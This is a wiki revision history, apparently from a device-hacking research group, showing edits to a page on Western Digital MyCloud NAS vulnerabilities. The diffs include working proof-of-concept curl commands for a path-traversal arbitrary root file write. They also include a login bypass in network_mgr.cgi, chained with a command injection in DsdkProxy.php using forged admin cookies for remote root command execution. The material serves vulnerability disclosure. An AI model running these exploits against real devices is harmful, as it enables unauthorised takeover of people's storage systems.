Western Digital MyCloud - Revision history

Zenofex at 12:37, 10 August 2017

2017-08-10T12:37:03Z

← Older revision		Revision as of 12:37, 10 August 2017
Line 1,959:		Line 1,959:
	== Demo Video ==		== Demo Video ==
	{{#ev:youtube\|aKu_yWrIIFI}}		{{#ev:youtube\|aKu_yWrIIFI}}

			== Authentication Bypass and Arbitrary File Upload (added 8/6/2017) ==
			{{#ev:youtube\|EO_49pfmA5A}}

Zenofex: /* /web/addons/upload.php (added 08/06/2017) */

2017-08-06T11:44:28Z

/web/addons/upload.php (added 08/06/2017)

← Older revision		Revision as of 11:44, 6 August 2017
Line 320:		Line 320:
	<pre style="white-space: pre-wrap;"> curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"</pre>		<pre style="white-space: pre-wrap;"> curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"</pre>

	==== /~~web~~/~~addons~~/~~upload~~.php (added 08/06/2017) ====		==== /jquery/uploader/multi_uploadify.php (added 08/06/2017) ====
	This PHP page allows for the ability to upload a file to a location anywhere on the server.		This PHP page allows for the ability to upload a file to a location anywhere on the server.

Zenofex: /* Arbitrary Root File Write */

2017-08-06T11:43:55Z

Arbitrary Root File Write

@@ Line 319: / Line 319: @@
 '''POC'''
 <pre style="white-space: pre-wrap;"> curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"</pre>
 === Pre-Auth Remote Command Execution===

Zenofex: /* Login Bypass Vulnerability */

2017-08-06T11:18:59Z

← Older revision		Revision as of 11:18, 6 August 2017
Line 250:		Line 250:

	The above can be added to any PHP based RCE requiring authentication for remote root command execution on the device.		The above can be added to any PHP based RCE requiring authentication for remote root command execution on the device.

			==== network_mgr.cgi (added 8/6/2017) ====

			The cgi binary "network_mgr.cgi" logs in a user prior to validating their credentials while also displaying a 404 error.

			[[File:MyCloud_network_mgr_cgi_Bypass.png\|500px]]

			In the above screen shot of the hex-rays decompilation of "network_mgr.cgi", the following are performed in the listed order.

			* Checks if "cmd" GET variable is "cgi_get_ipv6"
			* Checks if "flag" GET variable is "1"
			* Resets the "wto" timeout and ip for the admin user
			* Checks if admin is logged in

			As can be seen, prior to "kindaAuth()" call (function named by us), the wto_setTime function is called. This means that even if the supplied credentials are incorrect, the "wto" (as specified in the previous login bypass above) binary is used to reset the logged in users originating ip address and login timeout. This allows the attacker to simply supply the "isAdmin" and "username" cookies to sufficiently access any authenticated functionality within the administrative interface.

			'''POC'''
			<pre style="white-space: pre-wrap;">
			# Logs in user
			curl -v "http://<DEVICEIP>/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1"
			# Uses unfixed "post-auth" vulnerability in "DsdkProxy.php" along with above bypass for RCE (Any of the listed post-auth vulnerabilities can be used)
			curl -i "http://<DEVICEIP>/web/dsdk/DsdkProxy.php" --data "';id;'" --cookie "isAdmin=1;username=admin"
			</pre>

	=== Arbitrary Root File Write ===		=== Arbitrary Root File Write ===

Zenofex at 13:09, 5 August 2017

2017-08-05T13:09:00Z

← Older revision		Revision as of 13:09, 5 August 2017
Line 7:		Line 7:
	== About ==		== About ==
	The Western Digital "MyCloud" is a series of network attached storage devices.		The Western Digital "MyCloud" is a series of network attached storage devices.

			== Purchase ==
			Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
			[https://www.amazon.com/Cloud-Pro-PR4100-Network-Attached-Storage/dp/B01GLRX66A/ref=as_li_ss_tl?s=electronics&ie=UTF8&qid=1501938476&sr=1-3&keywords=western+digital+my+cloud&linkCode=ll1&tag=exploiteers-20&linkId=7f4d8b41adf42935b7296ea2ae631daf Purchase the Western Digital MyCloud PR4100 at Amazon]

	== Models ==		== Models ==

Zenofex: Created page with "FORCETOC {{Disclaimer}} thumb Category:Network Attached Storage == About == The Western Digital "MyCloud" is a series of network at..."

2017-03-04T23:45:23Z

Created page with "__FORCETOC__ {{Disclaimer}} 200px|thumb Category:Network Attached Storage == About == The Western Digital "MyCloud" is a series of network at..."

Show changes